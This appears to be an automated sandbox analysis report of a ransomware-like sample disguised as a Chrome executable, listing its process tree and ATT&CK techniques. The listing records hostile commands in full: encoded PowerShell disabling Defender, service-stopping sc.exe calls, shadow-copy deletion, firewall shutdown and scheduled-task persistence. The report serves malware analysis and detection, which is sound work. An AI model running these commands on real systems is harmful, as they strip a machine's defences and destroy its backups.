PID 4984 wrote to memory of 5364	4984	theguide.io_chrome.exe	156
PID 4984 wrote to memory of 5212	4984	theguide.io_chrome.exe	157
PID 4984 wrote to memory of 3716	4984	theguide.io_chrome.exe	158
PID 4984 wrote to memory of 3168	4984	theguide.io_chrome.exe	163
PID 4984 wrote to memory of 3348	4984	theguide.io_chrome.exe	165
PID 5212 wrote to memory of 4996	5212	net.exe	167
PID 1364 wrote to memory of 4392	1364	cmd.exe	168
PID 5616 wrote to memory of 6036	5616	chrome.exe	170
PID 5616 wrote to memory of 4192	5616	chrome.exe	172
PID 5616 wrote to memory of 4192	5616	chrome.exe	172

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://theguide.io
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff5308dcf8,0x7fff5308dd04,0x7fff5308dd10
    3⤵
    PID:1708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1932,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=1928 /prefetch:2
    3⤵
    PID:5060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1432,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2224 /prefetch:11
    3⤵
    PID:4344
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2344,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2488 /prefetch:13
    3⤵
    PID:4800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3080,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3100 /prefetch:1
    3⤵
    PID:3436
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3092,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3120 /prefetch:1
    3⤵
    PID:2412
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4132,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4144 /prefetch:9
    3⤵
    PID:3388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4576,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4592 /prefetch:1
    3⤵
    PID:2044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=4768,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5124 /prefetch:14
    3⤵
    PID:5608
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=5216,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5188 /prefetch:14
    3⤵
    PID:6036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5200,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4120 /prefetch:14
    3⤵
    PID:4192
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5220,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5260 /prefetch:14
    3⤵
    PID:2464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5192,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5684 /prefetch:14
    3⤵
    PID:3860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5168,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5552 /prefetch:14
    3⤵
    PID:1436
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5592,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4740 /prefetch:14
    3⤵
    PID:2204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=4732,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5648 /prefetch:14
    3⤵
    PID:4476
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5644,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5632 /prefetch:14
    3⤵
    PID:1260
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=4144,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4124 /prefetch:9
    3⤵
    PID:4548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=5248,i,14136874602806593844,15552713676031505992,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4116 /prefetch:10
    3⤵
    PID:3344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1704
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5796
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3152
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:736
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4348
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4240
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4884
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4360
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4516
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6076
- - C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe"
    3⤵
    PID:3768
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3568
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:6120
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5416
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1248
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  PID:2636
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1084
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5252
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:4392
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2492
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3088
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4348
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6128
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:2928
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5528
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4360
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2804
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:4236
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1348
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:940
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3924
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5500
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  PID:5256
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2892
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:5364
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4996
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3716
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3168
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3348

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:4232

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:380

C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe
1⤵
PID:1852

C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe
1⤵
PID:3568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery